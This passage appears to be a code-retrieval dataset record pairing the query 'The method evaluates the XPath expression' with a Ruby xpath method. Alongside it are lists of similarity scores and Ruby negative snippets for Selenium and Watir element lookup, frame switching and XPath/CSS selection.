select(*args, &block)\n browser.within(component_locator) do\n browser.select(*args, &block)\n end\n end", "def selector\n @selector ||= _base.atomic_selector\n end", "def locate\r\n if @how == :jssh_name\r\n @element_name = @what\r\n elsif @how == :xpath\r\n @element_name = element_by_xpath(@container, @what)\r\n else\r\n if(self.class::INPUT_TYPES.include?(\"select-one\"))\r\n @element_name = locate_tagged_element(\"select\", @how, @what, self.class::INPUT_TYPES)\r\n else \r\n @element_name = locate_tagged_element(\"input\", @how, @what, self.class::INPUT_TYPES)\r\n end \r\n end\r\n @o = self\r\n end", "def at(path_or_selector)\n xpath(path_or_selector).first || css(path_or_selector).first\n end", "def check_region_in_frame(options = {})\n options = { timeout: USE_DEFAULT_MATCH_TIMEOUT, tag: nil, stitch_content: false }.merge!(options)\n Applitools::ArgumentGuard.not_nil options[:by], 'options[:by]'\n Applitools::ArgumentGuard.is_a? options[:by], 'options[:by]', Array\n\n how_what = options.delete(:by)\n frame = options[:frame] || options[:frame_element] || options[:name_or_id]\n\n target = Applitools::Selenium::Target.new.timeout(options[:timeout])\n target.frame(frame) if frame\n target.fully if options[:stitch_content]\n target.region(*how_what)\n\n check(options[:tag], target)\n end", "def elements\n if @frame.nil?\n $driver.switch_to.default_content\n else\n $driver.switch_to.frame(@frame.element)\n end\n for locator in @locators\n by, value = locator.first\n if not @root == nil and @root.instance_variable_defined?(\"@locators\") and not @root.locators.nil?\n if $highlight\n @root.highlight(-1,\"green\")\n end\n @elements = @root.find_elements(by,value,self.name)\n else\n @elements = $driver.find_elements(by,value,self.name)\n end\n if @elements.count > 0\n @elements = filter_elements(@elements)\n end\n if @elements.count > 0\n @element = @elements.first\n return @elements\n end\n end\n @element = @elements.first\n @elements\n end", "def select_list_exists_inside_frame?(browser_handle, frame_prop, frame_prop_val, select_list_prop, select_list_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).select_list(select_list_prop.intern, /#{select_list_prop_val}/).exists?\nend", "def xpath_for(selector, options = T.unsafe(nil)); end", "def selector\n s = @selectors.pop\n @selectors.unshift s\n s\n end", "def locate\r\n if @how == :jssh_name\r\n @element_name = @what\r\n elsif @how == :xpath\r\n @element_name = element_by_xpath(@container, @what)\r\n else\r\n @element_name = locate_tagged_element(\"TD\", @how, @what) \r\n end\r\n @o = self\r\n end", "def exists?\n if not @element.nil? and not is_stale?\n return true\n end\n if @frame.nil?\n $driver.switch_to.default_content\n else\n $driver.switch_to.frame(@frame.element)\n end\n for locator in locators\n by, value = locator.first\n case by\n when :css, :class, :class_name, :id, :link_text, :link, :partial_link_text, :name, :tag_name, :xpath\n if not @root == nil and @root.instance_variable_defined?(\"@locators\") and not @root.locators.nil?\n if $highlight\n @root.highlight(-1,\"green\")\n end\n @elements = @root.find_elements(by,value,self.name)\n else\n @elements = $driver.find_elements(by,value,self.name)\n end\n if @elements.count > 0\n @elements = filter_elements(@elements)\n @element = @elements.select{|element|element.displayed?}.first\n if @element.nil?\n @element = @elements.first\n end\n return true\n end\n else\n raise \"Locator format not supported #{locator}\"\n end\n\n end\n return false\n end", "def locate\r\n if @how == :jssh_name\r\n @element_name = @what\r\n elsif @how == :xpath\r\n @element_name = element_by_xpath(@container, @what)\r\n else\r\n @element_name = locate_tagged_element('TABLE', @how, @what)\r\n end\r\n @o = self\r\n end", "def [](what)\n %x{\n var result = #@native.getElementById(what);\n\n if (result) {\n return #{DOM(`result`)};\n }\n }\n\n css(what).first || xpath(what).first\n end", "def check_element(element_or_selector, options = {})\n selector = element_or_selector if Applitools::Selenium::Driver::FINDERS.keys.include? element_or_selector.first\n if !options[:tag].nil? && !options[:tag].empty?\n tag = options[:tag]\n self.tag_for_debug = tag\n end\n match_timeout = options[:match_timeout] || USE_DEFAULT_MATCH_TIMEOUT\n\n if disabled?\n logger.info \"check_element(#{options.inject([]) { |res, (k, v)| res << \"#{k}: #{v}\" }.join(', ')}):\" /\n ' Ignored'\n return\n end\n\n eyes_element = element_or_selector.first if element_or_selector.first.instance_of? Applitools::Selenium::Element\n eyes_element = driver.find_element(*selector) unless eyes_element\n raise Applitools::EyesIllegalArgument.new 'You should pass :selector or :element!' unless eyes_element\n eyes_element = Applitools::Selenium::Element.new(driver, eyes_element) unless\n eyes_element.is_a? Applitools::Selenium::Element\n\n location_as_point = eyes_element.location\n region_visibility_strategy.move_to_region position_provider,\n Applitools::Location.new(location_as_point.x.to_i, location_as_point.y.to_i)\n\n original_overflow = nil\n original_position_provider = position_provider\n\n begin\n self.check_frame_or_element = true\n self.position_provider = Applitools::Selenium::ElementPositionProvider.new driver, eyes_element\n original_overflow = eyes_element.overflow\n eyes_element.overflow = 'hidden'\n\n p = eyes_element.location\n d = eyes_element.size\n\n border_left_width = eyes_element.border_left_width\n border_top_width = eyes_element.border_top_width\n border_right_width = eyes_element.border_right_width\n border_bottom_width = eyes_element.border_bottom_width\n\n element_region = Applitools::Region.new(\n p.x + border_left_width,\n p.y + border_top_width,\n d.width - border_left_width - border_right_width,\n d.height - border_top_width - border_bottom_width\n )\n\n logger.info \"Element region: #{element_region}\"\n\n self.region_to_check = Object.new.tap do |prov|\n prov.instance_eval do\n define_singleton_method :region do\n element_region\n end\n\n define_singleton_method :coordinate_type do\n Applitools::EyesScreenshot::COORDINATE_TYPES[:context_relative]\n end\n end\n end\n\n base_check_region_provider = Object.new.tap do |prov|\n prov.instance_eval do\n define_singleton_method :region do\n Applitools::Region::EMPTY\n end\n\n define_singleton_method :coordinate_type do\n nil\n end\n end\n end\n\n self.eyes_screenshot_factory = lambda do |image|\n Applitools::Selenium::EyesWebDriverScreenshot.new(\n image, driver: driver, force_offset: position_provider.state\n )\n end\n\n match_data = Applitools::MatchWindowData.new.tap do |data|\n data.tag = tag\n data.ignore_mismatch = false\n data.match_level = default_match_settings[:match_level]\n end\n\n check_window_base(\n base_check_region_provider, match_timeout, match_data\n )\n ensure\n eyes_element.overflow = original_overflow unless original_overflow.nil?\n self.check_frame_or_element = false\n self.position_provider = original_position_provider\n self.region_to_check = nil\n\n region_visibility_strategy.return_to_original_position position_provider\n end\n end", "def css(selector)\n raise NotImplementedError, 'query by CSS selector unsupported'\n end", "def scroll_into_view(selector)\n el = find(selector)\n # only do this if the native element is a selenium element\n el.native.send_keys(:null) if el.native.class.to_s.split(\"::\").first == \"Selenium\"\nend", "def selector_exists?(selector, &block)\n find_selector(selector, &block) != nil\n end", "def select!\n raise \"Locator at #{location} is not visible\" unless visible?\n begin\n el.click\n rescue\n raise \"Locator at #{location} can not be interacted with\" unless visible?\n end\n check_errors\n end", "def selector_field_value\n parent.record[@selector_for] rescue nil\n end", "def select!\n raise \"Locator at #{locator} is not visible\" unless visible?\n begin\n wd_element.click\n rescue\n raise \"Locator at #{locator} can not be interacted with\" unless visible?\n end\n check_errors\n end", "def switch_frame frame\n $driver.switch_to.frame(frame)\nend", "def locate\r\n @o = nil\r\n if @how == :jssh_name\r\n @element_name = @what\r\n elsif @how == :xpath\r\n @element_name = element_by_xpath(@container, @what)\r\n else\r\n @element_name = locate_tagged_element(\"TR\", @how, @what) \r\n end\r\n @o = self\r\n end", "def select_frame(id)\n @driver.switch_to().frame(id)\n pause\n end", "def lookup\n @root_el = parent_el || browser\n lookup_sequence.each { |locator| @root_el = lookup_step(locator) }\n rescue\n @root_el = nil\n raise\n end", "def select(*args, &block)\n browser.select(*args, &block)\n end", "def ele_available?(selector)\n return nil if not ele_exists?(selector) # Hack\n ele_exists?(selector) and ele_enabled?(selector) and ele_visible?(selector) and ele_displayed?(selector)\n rescue\n return nil # Hack\n end", "def click_image_inside_frame(browser_handle, frame_prop, frame_prop_val, image_prop, image_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).image(image_prop.intern, /#{image_prop_val}/).click\nend", "def click_radio_button_inside_frame(browser_handle, frame_prop, frame_prop_val, radio_prop, radio_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).radio(radio_prop.intern, /#{radio_prop_val}/).click\nend", "def getObjectFrameReference( name , frameName )\n\n if frameName == \"\" then\n frame = @ie.document\n else\n ff = @ie.document.frames\n\n #log \"there are \" + ff.length.to_s + \" frames\"\n #for f in 0 .. ff.length-1\n # log \"Frame: \" + ff[f.to_s].name.to_s \n #end \n\n frame = @ie.document.frames[ frameName.to_s ].document\n end \n return frame\n end", "def matches(selector)\n %x{\n var proto = Element.prototype\n var matches = proto.matchesSelector ||\n proto.mozMatchesSelector ||\n proto.msMatchesSelector ||\n proto.oMatchesSelector ||\n proto.webkitMatchesSelector\n return matches.call(#{@el},#{selector})\n }\n end", "def matches(selector)\n %x{\n var proto = Element.prototype\n var matches = proto.matchesSelector ||\n proto.mozMatchesSelector ||\n proto.msMatchesSelector ||\n proto.oMatchesSelector ||\n proto.webkitMatchesSelector\n return matches.call(#{@el},#{selector})\n }\n end", "def button_exists_inside_frame?(browser_handle, frame_prop, frame_prop_val, button_prop, button_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).button(button_prop.intern, /#{button_prop_val}/).exists?\nend", "def wait_until_has_selector(selector_expr)\n element_present = FALSE\n time_before = Time.now\n begin\n while !element_present\n fail \"\\nERROR: Element cannot be found even after #{Time.now - time_before} secs\\n\" if (Time.now - time_before) > PAGE_ELEMENT_TIMEOUT_SECS\n element_present = TRUE if @page.has_selector?(selector_expr)\n log(\"\\n\\nExample #{$example_counter}: WAIT_UNTIL_HAS_SELECTOR(#{selector_expr}): elapsed_time of CAPYBARA 'has_selector' call = #{Time.now - time_before} secs\\n\") if ENABLED_LOGGING\n sleep 0.5 if !element_present\n end\n rescue Selenium::WebDriver::Error::StaleElementReferenceError => e\n puts \"Trapped Exception: #{e} : Retrying\"\n sleep 0.5\n retry\n rescue Selenium::WebDriver::Error::ObsoleteElementError => e\n puts \"Trapped Exception: #{e} : Retrying\"\n sleep 0.5\n retry\n end\n end", "def tag(selector)\n\t\te = element(selector)\n\t\te && e.inner_html\n\tend", "def find_page_element(*args)\n element = page.find(*args)\nend", "def detect_xpath(selector)\n selector.gsub(/^\\./,'')[0] == '/' ? [:xpath, selector] : selector\n end", "def =~(selector)\n Element.native_matches?(@native, selector)\n end", "def get_all_contents_of_select_list_inside_frame(browser_handle, frame_prop, frame_prop_val, select_list_prop, select_list_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).select_list(select_list_prop.intern, /#{select_list_prop_val}/).getAllContents\nend", "def country_selector\n $tracer.trace(__method__)\n #unit_test_no_generate: country_selector, get_self.select.id(\"CountryCode\"); GameStopMobileSelector\n return GameStopMobileSelector.new(ToolTag.new(get_self.select.id(\"CountryCode\"), __method__, self), self)\n end", "def get_selector(name)\n doc = Hpricot(response.body)\n Hpricot(doc.search(\"[@id='#{name}']\").to_html)\nend", "def matches?(selector); end", "def matches?(selector); end", "def find_first(selector, data)\n data = @data unless data\n results = (data/selector)\n if results and results.first\n results.first.inner_html.strip\n else\n nil\n end\n end", "def locate\r\n if @how == :jssh_name\r\n @element_name = @what\r\n elsif @how == :xpath\r\n @element_name = element_by_xpath(@container, @what)\r\n else\r\n @element_name = locate_tagged_element('A', @how, @what)\r\n end\r\n @o = self\r\n end", "def method_missing(method, *args, &block)\n @view.send(method, @selector, *args, &block)\n self\n end", "def country_selector\n $tracer.trace(format_method(__method__))\n\t tag = ToolTag.new(@tag.find.select.className(create_ats_regex_string(\"ats-countryfield\")), format_method(__method__))\n return CommonSelector.new(tag)\n end", "def find_native_element(native_element)\n find_element(native_element[:locator], native_element[:element])\nend", "def hover_element (element)\n element = element.downcase.gsub(' ', '_')\n wait_until{send(\"#{element}?\")}\n\n select = send(\"#{element}_element\")\n wait_until{select.visible?}\n\n select.hover\n end", "def locate\r\n if @how == :jssh_name\r\n @element_name = @what\r\n elsif @how == :xpath\r\n @element_name = element_by_xpath(@container, @what)\r\n else\r\n @element_name = locate_tagged_element('IMG', @how, @what)\r\n end\r\n @o = self\r\n end", "def switch_to_frame(criteria,value)\r\n\t\t\tel = @driver.find_element(criteria.to_sym, value)\t\r\n\t\t\tputs \"Iframe: \"\r\n\t\t\tputs el\t\r\n\t\t\t@driver.switch_to.frame(el)\r\n\t\tend", "def current_locator\n # Skip first element (Capybara::Node::Document)\n scopes = browser.send(:scopes)[1..-1]\n scopes.empty? ? [] : scopes.map { |scope| create_jquery_selector(scope) }\n end", "def at_css(selector, within: nil)\n expr = <<~JS\n function(selector, within) {\n within ||= document\n return within.querySelector(selector);\n }\n JS\n\n evaluate_func(expr, selector, within)\n end", "def flash_select_list_inside_frame(browser_handle, frame_prop, frame_prop_val, select_list_prop, select_list_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).select_list(select_list_prop.intern, /#{select_list_prop_val}/).flash\nend", "def tag(selector)\n e = element(selector)\n e && e.inner_html\n end", "def select_all\n self.frame(:id=>\"elm1_ifr\").send_keys( [:command, 'a'] )\n end", "def elements(selector)\n @doc.search(selector)\n end", "def selection_element(element = None)\n execute(:selection, :element, element)\n end", "def FindChildOf(parentByStrat, parentIdentifier, childByStrat, childIdentifier)\n parent = find_element(parentByStrat, parentIdentifier)\n return nil if parent==nil\n return parent.find_element(childByStrat, childIdentifier)\nend", "def click_button_with_popup_inside_frame(browser_handle, frame_prop, frame_prop_val, button_prop, button_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).button(button_prop.intern, /#{button_prop_val}/).click_no_wait\nend", "def find_elements(*args)\r\n how, what = extract_args(args)\r\n\r\n if how == :jquery && ref.nil?\r\n bridge.executeScript(\"return jQuery(arguments[0]).get();\", what)\r\n elsif how == :jquery && !ref.nil?\r\n bridge.executeScript(\"return jQuery(arguments[0]).find(arguments[1]).get();\",self, what)\r\n else\r\n unless by = FINDERS[how.to_sym]\r\n raise ArgumentError, \"cannot find elements by #{how.inspect}\"\r\n end\r\n\r\n bridge.find_elements_by by, what.to_s, ref\r\n end\r\n end", "def SS(selector)\n handles = evaluate_handle(\n '(element, selector) => element.querySelectorAll(selector)',\n selector,\n )\n properties = handles.properties\n handles.dispose\n properties.values.map(&:as_element).compact\n end", "def radio_button_exists_inside_frame?(browser_handle, frame_prop, frame_prop_val, radio_prop, radio_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).radio(radio_prop.intern, /#{radio_prop_val}/).exists?\nend", "def find_element(*names)\n traverse_element(*names) {|e| return e }\n nil\n end", "def find_element(*names)\n traverse_element(*names) {|e| return e }\n nil\n end", "def locate_element(how, what)\n return super unless @nokogiri\n\n el = @query_scope.browser.doc.send(\"at_#{how}\", what)\n Watigiri::Element.new element: el, selector: {how => what}\n end" ]
[ "0.654698", "0.6482461", "0.6138322", "0.6127928", "0.60304815", "0.5851893", "0.5780555", "0.5725222", "0.5699062", "0.56347495", "0.5612283", "0.5591809", "0.55820054", "0.55672544", "0.5487718", "0.5471602", "0.5456332", "0.54077494", "0.5387105", "0.5364496", "0.5363186", "0.5332273", "0.532033", "0.5319417", "0.52932984", "0.5273577", "0.5262957", "0.52429855", "0.5201744", "0.5188338", "0.51554644", "0.5153269", "0.51504153", "0.5123222", "0.51048595", "0.50783795", "0.5052181", "0.5043206", "0.503177", "0.5031393", "0.5026916", "0.5016166", "0.49909276", "0.49877933", "0.4986138", "0.4985264", "0.49713585", "0.49653733", "0.4936185", "0.49131858", "0.49129373", "0.49114573", "0.49009666", "0.4896124", "0.48941636", "0.4894066", "0.4886552", "0.48739877", "0.48732227", "0.48724583", "0.48678765", "0.4866551", "0.48518604", "0.4847803", "0.48413205", "0.48413205", "0.4831416", "0.48246193", "0.48187938", "0.4818148", "0.48173347", "0.48170653", "0.48109007", "0.4800656", "0.47912908", "0.47737697", "0.47737697", "0.47728705", "0.47713986", "0.47509906", "0.4748217", "0.47376353", "0.47207516", "0.47185808", "0.47146183", "0.47086185", "0.47026855", "0.46999913", "0.46991622", "0.4696421", "0.46914312", "0.46673003", "0.4662689", "0.46601394", "0.46542868", "0.46541741", "0.46523753", "0.4647204", "0.4647204", "0.46339828" ]
0.59274447
5
The method evaluates the XPath expression.
def xpath(expression) document.xpath expression end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def xpath; end", "def xpath; end", "def xpath(*args); end", "def xpath(*args); end", "def at_xpath(*args); end", "def at_xpath(*args); end", "def xpath(xpath)\n @doc.xpath(xpath)\n end", "def evaluate(context)\n Parser.new(@expr).parse.evaluate(context)\n end", "def xpath(path)\n raise NotImplementedError, 'query by XPath unsupported'\n end", "def xpath_for(string, prefix, visitor); end", "def matching_xpath(xpath)\n @type = :matchesXPath\n @value = xpath\n @request_builder\n end", "def xpath xpath_str\n find_element :xpath, xpath_str\n end", "def at_xpath(selector, within: nil)\n expr = <<~JS\n function(selector, within) {\n within ||= document\n let xpath = document.evaluate(selector, within, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n return xpath.snapshotItem(0);\n }\n JS\n evaluate_func(expr, selector, within)\n end", "def evaluate(path)\n @context.evaluate(path)\n end", "def xpath(query)\n\t\treturn is_valid ? @doc.xpath(query) : nil\n\tend", "def search(xpath)\n return self.each_element( xpath ){}\n end", "def xpath_each(from_root_node, path)\n REXML::XPath.each(from_root_node, path, &Proc.new)\n end", "def xpaths xpath_str\n find_elements :xpath, xpath_str\n end", "def xpath(selector, within: nil)\n expr = <<~JS\n function(selector, within) {\n let results = [];\n within ||= document\n\n let xpath = document.evaluate(selector, within, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n for (let i = 0; i < xpath.snapshotLength; i++) {\n results.push(xpath.snapshotItem(i));\n }\n\n return results;\n }\n JS\n\n evaluate_func(expr, selector, within)\n end", "def xpathall(path,xml)\n r=[]\n XPath.each(xml,path){|x|r<<x}\n r\nend\n", "def xpath(*allowed_filters, &block)\n if block\n @format, @expression = :xpath, block\n allowed_filters.flatten.each { |ef| expression_filters[ef] = Filters::IdentityExpressionFilter.new }\n end\n format == :xpath ? @expression : nil\n end", "def evaluate\n # First up validations\n @validations.each do |validate|\n next if validate.call\n return @xml\n end\n # Those passed, so next up is actual operations\n @operations.each do |operation|\n operation.call\n end\n return @xml\n end", "def xpath_of(node)\n node.xpath.to_s\n end", "def evaluate(expression)\n @simpleParser.parse expression\n end", "def get_elements(xpath); end", "def evaluate(expr)\n @api.function_for_object_method(self, :eval).call(@session, expr)\n end", "def xpath_for(selector, options = T.unsafe(nil)); end", "def update\n\t\t\t@node.evaluate(self)\n\t\tend", "def to_xpath(prefix, visitor); end", "def evaluate\n context = Context.new(self, node)\n context.instance_exec(&block)\n node\n end", "def xpath_for(string, options = T.unsafe(nil)); end", "def evaluate(expr)\n TupleExpression.coerce(expr).evaluate(self)\n end", "def evaluate\n arr = []\n laststr = nil\n # Evaluate all the Nodes, turning each one into a String, SeparateString,\n # or BodyString.\n strings = _evaluated_nodes\n\n # Now process the resulting Array. All strings are concatenated together\n # except for BodyStrings and SeparateStrings; we need to preserve and\n # isolate these so that processing them later is possible. (BodyStrings\n # are used when evaluating a Document to represent `[body]` content,\n # SeparateStrings are used when evaluating a Command's argument list to\n # represent the individual arguments.)\n strings.each do |str|\n if arr.empty? || SeparateString === str || SeparateString === laststr ||\n BodyString === str || BodyString === laststr\n # Keep BodyStrings separate.\n if BodyString === str\n arr << str\n # Keep SeparateStrings separate.\n elsif SeparateString === str\n arr << String.new(str)\n # A BodyNodeList stores a list of BodyStrings, not Strings.\n elsif BodyNodeList === self\n arr << BodyString.new(str)\n else\n arr << str\n end\n # Combine Strings that appear in the NodeList successively.\n else\n arr.last << str\n end\n laststr = str\n end\n arr\n end", "def at_xpath(*paths)\n result = nil\n\n paths.each {|path|\n if result = xpath(path).first\n break\n end\n }\n\n result\n end", "def search(xpath)\n xpath = \".#{xpath}\" if !self.is_a?(REXML::Document) and xpath =~ /^\\//\n ret = REXML::XPath.match(self,xpath).map{|elm|\n elm.extend(ElementHelper)\n elm\n block_given? ? (yield elm) : elm\n }\n end", "def visitExpression(elem, data)\r\n @@log.debug(\"XmlRuleVisitor::visitExpression\")\r\n @@log.debug(elem.inspect)\r\n\r\n elem.each_element do |child|\r\n data = visit(child, data)\r\n end\r\n\r\n return data\r\n end", "def evaluate(context, path)\n content_type, attributes = content_type_of_path(context, path)\n processors = get_all_processors_for_evaluate(context, content_type, attributes, path)\n filter_all_processors(processors)\n evaluate_path_from_context(context, path, processors)\n end", "def visitExpression(elem, data)\r\n @@log.debug(\"XmlVisitor::visitExpression\")\r\n @@log.debug(elem.inspect)\r\n\r\n elem.each_element do |child|\r\n data = visit(child, data)\r\n end\r\n\r\n return data\r\n end", "def evaluate\n\n end", "def generate_xpath_queries!\n self.xpath = OM::XML::TermXpathGenerator.generate_absolute_xpath(self)\n self.xpath_constrained = OM::XML::TermXpathGenerator.generate_constrained_xpath(self)\n self.xpath_relative = OM::XML::TermXpathGenerator.generate_relative_xpath(self)\n self.children.each_value {|child| child.generate_xpath_queries! }\n return self\n end", "def expr( path_stack, nodeset, context=nil )\n enter(:expr, path_stack, nodeset) if @debug\n return nodeset if path_stack.length == 0 || nodeset.length == 0\n while path_stack.length > 0\n trace(:while, path_stack, nodeset) if @debug\n if nodeset.length == 0\n path_stack.clear\n return []\n end\n op = path_stack.shift\n case op\n when :document\n first_raw_node = nodeset.first.raw_node\n nodeset = [XPathNode.new(first_raw_node.root_node, position: 1)]\n when :self\n nodeset = step(path_stack) do\n [nodeset]\n end\n when :child\n nodeset = step(path_stack) do\n child(nodeset)\n end\n when :literal\n trace(:literal, path_stack, nodeset) if @debug\n return path_stack.shift\n when :attribute\n nodeset = step(path_stack, any_type: :attribute) do\n nodesets = []\n nodeset.each do |node|\n raw_node = node.raw_node\n next unless raw_node.node_type == :element\n attributes = raw_node.attributes\n next if attributes.empty?\n nodesets << attributes.each_attribute.collect.with_index do |attribute, i|\n XPathNode.new(attribute, position: i + 1)\n end\n end\n nodesets\n end\n when :namespace\n pre_defined_namespaces = {\n \"xml\" => \"http://www.w3.org/XML/1998/namespace\",\n }\n nodeset = step(path_stack, any_type: :namespace) do\n nodesets = []\n nodeset.each do |node|\n raw_node = node.raw_node\n case raw_node.node_type\n when :element\n if @namespaces\n nodesets << pre_defined_namespaces.merge(@namespaces)\n else\n nodesets << pre_defined_namespaces.merge(raw_node.namespaces)\n end\n when :attribute\n if @namespaces\n nodesets << pre_defined_namespaces.merge(@namespaces)\n else\n nodesets << pre_defined_namespaces.merge(raw_node.element.namespaces)\n end\n end\n end\n nodesets\n end\n when :parent\n nodeset = step(path_stack) do\n nodesets = []\n nodeset.each do |node|\n raw_node = node.raw_node\n if raw_node.node_type == :attribute\n parent = raw_node.element\n else\n parent = raw_node.parent\n end\n nodesets << [XPathNode.new(parent, position: 1)] if parent\n end\n nodesets\n end\n when :ancestor\n nodeset = step(path_stack) do\n nodesets = []\n # new_nodes = {}\n nodeset.each do |node|\n raw_node = node.raw_node\n new_nodeset = []\n while raw_node.parent\n raw_node = raw_node.parent\n # next if new_nodes.key?(node)\n new_nodeset << XPathNode.new(raw_node,\n position: new_nodeset.size + 1)\n # new_nodes[node] = true\n end\n nodesets << new_nodeset unless new_nodeset.empty?\n end\n nodesets\n end\n when :ancestor_or_self\n nodeset = step(path_stack) do\n nodesets = []\n # new_nodes = {}\n nodeset.each do |node|\n raw_node = node.raw_node\n next unless raw_node.node_type == :element\n new_nodeset = [XPathNode.new(raw_node, position: 1)]\n # new_nodes[node] = true\n while raw_node.parent\n raw_node = raw_node.parent\n # next if new_nodes.key?(node)\n new_nodeset << XPathNode.new(raw_node,\n position: new_nodeset.size + 1)\n # new_nodes[node] = true\n end\n nodesets << new_nodeset unless new_nodeset.empty?\n end\n nodesets\n end\n when :descendant_or_self\n nodeset = step(path_stack) do\n descendant(nodeset, true)\n end\n when :descendant\n nodeset = step(path_stack) do\n descendant(nodeset, false)\n end\n when :following_sibling\n nodeset = step(path_stack) do\n nodesets = []\n nodeset.each do |node|\n raw_node = node.raw_node\n next unless raw_node.respond_to?(:parent)\n next if raw_node.parent.nil?\n all_siblings = raw_node.parent.children\n current_index = all_siblings.index(raw_node)\n following_siblings = all_siblings[(current_index + 1)..-1]\n next if following_siblings.empty?\n nodesets << following_siblings.collect.with_index do |sibling, i|\n XPathNode.new(sibling, position: i + 1)\n end\n end\n nodesets\n end\n when :preceding_sibling\n nodeset = step(path_stack, order: :reverse) do\n nodesets = []\n nodeset.each do |node|\n raw_node = node.raw_node\n next unless raw_node.respond_to?(:parent)\n next if raw_node.parent.nil?\n all_siblings = raw_node.parent.children\n current_index = all_siblings.index(raw_node)\n preceding_siblings = all_siblings[0, current_index].reverse\n next if preceding_siblings.empty?\n nodesets << preceding_siblings.collect.with_index do |sibling, i|\n XPathNode.new(sibling, position: i + 1)\n end\n end\n nodesets\n end\n when :preceding\n nodeset = step(path_stack, order: :reverse) do\n unnode(nodeset) do |node|\n preceding(node)\n end\n end\n when :following\n nodeset = step(path_stack) do\n unnode(nodeset) do |node|\n following(node)\n end\n end\n when :variable\n var_name = path_stack.shift\n return [@variables[var_name]]\n\n when :eq, :neq, :lt, :lteq, :gt, :gteq\n left = expr( path_stack.shift, nodeset.dup, context )\n right = expr( path_stack.shift, nodeset.dup, context )\n res = equality_relational_compare( left, op, right )\n trace(op, left, right, res) if @debug\n return res\n\n when :or\n left = expr(path_stack.shift, nodeset.dup, context)\n return true if Functions.boolean(left)\n right = expr(path_stack.shift, nodeset.dup, context)\n return Functions.boolean(right)\n\n when :and\n left = expr(path_stack.shift, nodeset.dup, context)\n return false unless Functions.boolean(left)\n right = expr(path_stack.shift, nodeset.dup, context)\n return Functions.boolean(right)\n\n when :div, :mod, :mult, :plus, :minus\n left = expr(path_stack.shift, nodeset, context)\n right = expr(path_stack.shift, nodeset, context)\n left = unnode(left) if left.is_a?(Array)\n right = unnode(right) if right.is_a?(Array)\n left = Functions::number(left)\n right = Functions::number(right)\n case op\n when :div\n return left / right\n when :mod\n return left % right\n when :mult\n return left * right\n when :plus\n return left + right\n when :minus\n return left - right\n else\n raise \"[BUG] Unexpected operator: <#{op.inspect}>\"\n end\n when :union\n left = expr( path_stack.shift, nodeset, context )\n right = expr( path_stack.shift, nodeset, context )\n left = unnode(left) if left.is_a?(Array)\n right = unnode(right) if right.is_a?(Array)\n return (left | right)\n when :neg\n res = expr( path_stack, nodeset, context )\n res = unnode(res) if res.is_a?(Array)\n return -Functions.number(res)\n when :not\n when :function\n func_name = path_stack.shift.tr('-','_')\n arguments = path_stack.shift\n\n if nodeset.size != 1\n message = \"[BUG] Node set size must be 1 for function call: \"\n message += \"<#{func_name}>: <#{nodeset.inspect}>: \"\n message += \"<#{arguments.inspect}>\"\n raise message\n end\n\n node = nodeset.first\n if context\n target_context = context\n else\n target_context = {:size => nodeset.size}\n if node.is_a?(XPathNode)\n target_context[:node] = node.raw_node\n target_context[:index] = node.position\n else\n target_context[:node] = node\n target_context[:index] = 1\n end\n end\n args = arguments.dclone.collect do |arg|\n result = expr(arg, nodeset, target_context)\n result = unnode(result) if result.is_a?(Array)\n result\n end\n Functions.context = target_context\n return Functions.send(func_name, *args)\n\n else\n raise \"[BUG] Unexpected path: <#{op.inspect}>: <#{path_stack.inspect}>\"\n end\n end # while\n return nodeset\n ensure\n leave(:expr, path_stack, nodeset) if @debug\n end", "def evaluate(expr = nil, path=nil, line=nil, &bl)\n return instance_exec(&bl) if bl\n ::Kernel.eval expr, __eval_binding, *[path, line].compact\n end", "def evaluate_ast(ast)\n context = XML::NodeSet.new([@document])\n\n return process(ast, context)\n end", "def parse_value xpath\n node = parser_xml.xpath(xpath)\n return nil if node.empty?\n node.text.strip\n end", "def evaluate(input)\n result = parse(input, :Expr, @rules, **@options)\n # This is called for each Expr\n puts result\n end", "def search(xpath, &proc)\n @doc.search(xpath, &proc)\n end", "def to_xpath(prefix = T.unsafe(nil), visitor = T.unsafe(nil)); end", "def evaluate(node, top_level_ref = false)\n match(node) do\n with(Match::And.(left, right)) do\n evaluate_and(left, right, top_level_ref)\n end\n\n with(Match::Capture.(n)) do\n evaluate_capture(n, top_level_ref)\n end\n\n with(Match::Capture.(n, name)) do\n evaluate_named_capture(n, name, top_level_ref)\n end\n\n with(Match::Group.(n)) do\n evaluate_group(n, top_level_ref)\n end\n\n with(Match::Or.(left, right)) do\n evaluate_or(left, right, top_level_ref)\n end\n\n with(Match::Term.(value)) do\n evaluate_term(value)\n end\n\n with(Match::Repetition.(n, ZERO_OR_ONE)) do\n evaluate_zero_or_one(n, top_level_ref)\n end\n\n with(Match::Repetition.(n, ZERO_OR_MORE)) do\n evaluate_zero_or_more(n, top_level_ref)\n end\n\n with(Match::Repetition.(n, ONE_OR_MORE)) do\n evaluate_one_or_more(n, top_level_ref)\n end\n\n with(Match::RuleReference.(rule, containing_pattern, ref_pattern)) do\n evaluate_rule_reference(\n rule, containing_pattern, ref_pattern, top_level_ref\n )\n end\n\n with(Match::WordBoundary.(n)) do\n evaluate_word_boundary(n, top_level_ref)\n end\n\n with(TmGrammar::Node::Pattern) do\n evaluate_pattern(node, top_level_ref)\n end\n\n with(TmGrammar::Match) do\n evaluate(node.evaluate(top_level_ref))\n end\n\n with(String) { evaluate_string(node) }\n with(Regexp) { evaluate_regexp(node) }\n with(_) { raise \"Unhandled node #{node.class}\" }\n end\n end", "def generate_xpath_queries!\n self.xpath = OM::XML::TermXpathGenerator.generate_absolute_xpath(self)\n self.xpath_constrained = OM::XML::TermXpathGenerator.generate_constrained_xpath(self)\n self.xpath_relative = OM::XML::TermXpathGenerator.generate_relative_xpath(self)\n self.children.each_value {|child| child.generate_xpath_queries! }\n return self\n end", "def test_predicates\n assert_equal \"12\", 